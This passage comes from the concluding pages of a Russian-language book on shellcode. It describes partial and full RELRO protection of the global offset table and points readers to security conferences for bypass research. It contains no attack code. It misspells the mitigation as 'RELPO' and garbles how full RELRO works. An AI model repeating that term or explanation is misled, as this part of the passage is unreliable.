Теперь вас может заинтересовать какое ко всему этому отношение имеет RELPO? Что же, RELPO поставляется в двух вариантах, частичной и полной:

  • Частичная RELPO будет устанавливать соответствие раздела .got доступным только на чтение, однако got.plt всё ещё будет допускать запись.

  • Полная RELPO делает то же самое что и вариант с частичной, но к тому же добавляет дополнительные защиты. Такие дополнительные защиты применяют компоновщик, который выполняет резервное копирование имеющихся символов перед стартом исполнения и затем удаляет имеющиеся полномочия на запись в своей GOT. Затем это превратит got.plt в часть раздела .got, что в конечном итоге также сделает его доступным только на чтение.

Поскольку мы достигли конца этой главы, важно отметить, что это ни вкоей мере не единственные имеющиеся меры противодействия и обходные пути. Вам надлежит принимать во внимание инструменты EDR, антивирусы и многое иное. При разработке шеллкода важно быть в курсе развёрнутых мер противодействия. В Интернете также имеется большое число статей, поясняющих такие меры противодействия и обходные пути. На конференциях по безопасности вы часто будете находить доклады об этом.

Выводы

Вы дошли до конца главы и всей книги. Я уверен, что вы получите от её чтения такое же удовольствие, которое я получил от её написания. В данной главе мы завершили книгу рассмотрением мер противодействия, применяемых в операционных системах для воспрепятствования работе шеллкода. Однако, как мы видели, их можно обходить. В данной главе мы рассмотрели меры противодействия как в Windows, так и в Linux. Конечно, по мере развития в будущем эти меры противодействия должны совершенствоваться. Было бы неплохо не отставать от достижений дополнительно к обходным путям, которые публикуются исследователями безопасности. Для того чтобы начать, неплохим местом были бы такие конференции по безопасности как Black Hat, BSides и Defcon.